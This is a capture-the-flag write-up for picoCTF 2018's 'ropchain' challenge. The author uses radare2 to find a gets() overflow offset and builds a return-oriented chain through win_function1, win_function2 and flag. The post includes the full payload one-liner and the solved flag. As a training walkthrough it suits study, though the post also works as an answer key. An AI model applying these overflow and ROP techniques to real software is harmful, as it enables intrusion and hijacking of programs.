picoCTF 2018 - ropchain

Can you exploit the following program and get the flag? You can findi the program in /problems/rop-chain_4_6ba0c7ef5029f471fc2d14a771a8e1b9 on the shell server? Source.

Solution

this is actually my first time with rop chains. basically it’s a chain of overwritten return-addresses at which you make the instruction pointer go to do what you want. there are tools to automate this process but we’ll do this one by hand. glancing at the source cose we can clearly see where we need to hijack the eip each step; something like this, at least as an initial plan: win_function1()->win_function2()->flag().

since i’m using radare2 for debug, i set up the rarun2 profile like this:

——> cat rrp.rrp
stdin=./input
aslr=no

the aslr part is important otherwise it becomes impossible without making the program leak an address on the stack. then i write the input i would normally give to the program in the file ./input and run r2 -r rrp.rrp. since the buffer is 16 byte, we’ll start with 12 and look at the stack

——> python -c "print('A' * 12)" > input
[andrei@jacky 00:14:51] ~/Documents/pico
——> xxd input
00000000: 4141 4141 4141 4141 4141 4141 0a         AAAAAAAAAAAA.
——> r2 -Ad rop -r rrp.rrp
Process with PID 32304 started...
[..]
[0xf7fd50b0]> s sym.vuln
[0x08048714]> pdf
/ (fcn) sym.vuln 39
|   sym.vuln ();
|           ; var int local_18h @ ebp-0x18
|           ; CALL XREF from sym.main (0x804877c)
|           0x08048714      55             push ebp
|           0x08048715      89e5           mov ebp, esp
|           0x08048717      83ec18         sub esp, 0x18
|           0x0804871a      83ec0c         sub esp, 0xc
|           0x0804871d      686f890408     push str.Enter_your_input   ; 0x804896f ; "Enter your input> "
|           0x08048722      e8f9fcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048727      83c410         add esp, 0x10
|           0x0804872a      83ec0c         sub esp, 0xc
|           0x0804872d      8d45e8         lea eax, [local_18h]
|           0x08048730      50             push eax
|           0x08048731      e8fafcffff     call sym.imp.gets           ; char *gets(char *s)
|           0x08048736      83c410         add esp, 0x10
|           0x08048739      c9             leave
\           0x0804873a      c3             ret
[0x08048714]> db @ 0x08048736

by breaking right after the call to gets, we can easily see all our buffer and plan the initial overwrite

|[x] StackRefs                                                                                                                                                          |
| 0xffffd870  0xffffd880  .... @esp eax stack R W 0x41414141 (AAAAAAAAAAAA) -->  ascii                                                                                  |
| 0xffffd874  0xf7fe9290  .... (/usr/lib32/ld-2.28.so) library R X 'pop edx' 'ld-2.28.so'                                                                               |
| 0xffffd878  0x00000000  .... ebx                                                                                                                                      |
| 0xffffd87c  0x392e8400  ...9                                                                                                                                          |
| 0xffffd880  0x41414141  AAAA @eax ascii                                                                                                                               |
| 0xffffd884  0x41414141  AAAA ascii                                                                                                                                    |
| 0xffffd888  0x41414141  AAAA ascii                                                                                                                                    |
| 0xffffd88c  0x08048700  .... (.text) (/home/andrei/Documents/pico/rop) sym.flag program R X 'jmp 0x8048712' 'rop'                                                     |
| 0xffffd890  0x000003e8  .... (.symtab)                                                                                                                                |
| 0xffffd894  0x000003e8  .... (.symtab)                                                                                                                                |
| 0xffffd898  0xffffd8b8  .... @ebp stack R W 0x0 -->  ebx                                                                                                              |
| 0xffffd89c  0x08048781  .... (.text) (/home/andrei/Documents/pico/rop) sym.main program R X 'mov eax, 0' 'rop'                                                        |
| 0xffffd8a0  0x00000001  .... (.comment)                                                                                                                               |

:> dbt
0  0x8048736  sp: 0x0         0    [sym.vuln]   
1  0xf7fe9290 sp: 0xffffd874  4    [??]  map.usr_lib32_ld_2.28.so.r_x+82576
2  0x8048781  sp: 0xffffd89c  40   [sym.main]  main+70
3  0xf7fe9290 sp: 0xffffd924  136  [??]  map.usr_lib32_ld_2.28.so.r_x+82576
4  0x80484f1  sp: 0xffffd93c  24   [??]  entry0+33

our strings starts at 0xffffd880, and the return address to main+70 is at 0xffffd89c; that’s 16 more bytes. so let’s modify the input file and run again

——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08')" > input

we succesfully entered the win_function1; on its pop ebp instruction the (interesting part of) stack layout is this:

0xffffd89c  0x41414141  AAAA @ebp ascii
0xffffd8a0  0x00000000  .... ebx

with esp at 0xffffd89c. so it will put 0x41414141 into ebp and return to 0x00000000. no good, we need to replace that return addresses. let’s put the address of win_function2 there

——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08')" > input
——> xxd input
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 cb85 0408  AAAAAAAAAAAA....
00000020: d885 0408 0a                             .....


ok it enters win_function2, but then it checks if arg_check1 is 0xbaaaaaad:

:> pdf @ sym.win_function2
            ;-- eip:
/ (fcn) sym.win_function2 83
|   sym.win_function2 (int arg_8h);
|           ; arg int arg_8h @ ebp+0x8
|           0x080485d8      55             push ebp
|           0x080485d9      89e5           mov ebp, esp
|           0x080485db      83ec08         sub esp, 8
|           0x080485de      0fb60541a004.  movzx eax, byte obj.win1    ; [0x804a041:1]=1
|           0x080485e5      84c0           test al, al
|       ,=< 0x080485e7      7412           je 0x80485fb
|       |   0x080485e9      817d08adaaaa.  cmp dword [arg_8h], 0xbaaaaaad ; [0xbaaaaaad:4]=-1
|      ,==< 0x080485f0      7509           jne 0x80485fb

we can see that it grabs arg_check1 from ebp+8. the value that goes into ebp is the esp at the entrance into the function, so 0xffffd8a0, so we need to write on 0xffffd8a8

this is the stack now

:> px 128 @ esp - 64
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffffd860  243e f9f7 243e f9f7 98d8 ffff 3687 0408  $>..$>......6...
0xffffd870  80d8 ffff 9092 fef7 0000 0000 0082 6583  ..............e.
0xffffd880  adaa aaba 4141 4141 4141 4141 4141 4141  ....AAAAAAAAAAAA
0xffffd890  4141 4141 4141 4141 78d8 ffff 78d8 ffff  AAAAAAAAx...x...
0xffffd8a0  78d8 ffff 00d9 ffff 6cd9 ffff e803 0000  x.......l.......

and this is at right after our buffer is copied on the stack

:> px 64 @ esp
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffffd870  80d8 ffff 9092 fef7 0000 0000 0014 4367  ..............Cg
0xffffd880  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd890  4141 4141 4141 4141 4141 4141 cb85 0408  AAAAAAAAAAAA....
0xffffd8a0  d885 0408 00d9 ffff 6cd9 ffff e803 0000  ........l.......

let’s just write onto it and hope it doesn’t screw up

——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08BBBB\xad\xaa\xaa\xba')" > input
——> xxd input
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 cb85 0408  AAAAAAAAAAAA....
00000020: d885 0408 4242 4242 adaa aaba 0a         ....BBBB.....

it works fine. as we can see we got both the flags set to true

:> px @ obj.win1
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804a041  01                                       .
:> px @ obj.win2
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804a042  01                                       .

at the next ret instruction, it will go to 0xffffd8a4 0x42424242 BBBB @esp ascii, so we’ll just but the address of flag() there

——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08\x2b\x86\x04\x08\xad\xaa\xaa\xba')" > input && xxd input
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 cb85 0408  AAAAAAAAAAAA....
00000020: d885 0408 2b86 0408 adaa aaba 0a         ....+........

this will also check for the value 0xdeadbaad in arg_check2 in ebp+8. base pointer will be 0xffffd8a4, so we’ll need to write on 0xffffd8ac, right after arg_check1

——> python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08\x2b\x86\x04\x08\xad\xaa\xaa\xba\xad\xba\xad\xde')" > input && xxd input
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 cb85 0408  AAAAAAAAAAAA....
00000020: d885 0408 2b86 0408 adaa aaba adba adde  ....+...........
00000030: 0a                                       .

check okay, and it prints the flag. congratulations to me for my first rop thing lol

xnand@pico-2018-shell-3:/problems/rop-chain_4_6ba0c7ef5029f471fc2d14a771a8e1b9$ ./rop <<< $(python2 -c "print('A' * 28 + '\xcb\x85\x04\x08\xd8\x85\x04\x08\x2b\x86\x04\x08\xad\xaa\xaa\xba\xad\xba\xad\xde')")
Enter your input> picoCTF{rOp_aInT_5o_h4Rd_R1gHt_718e6c5c}
Segmentation fault (core dumped)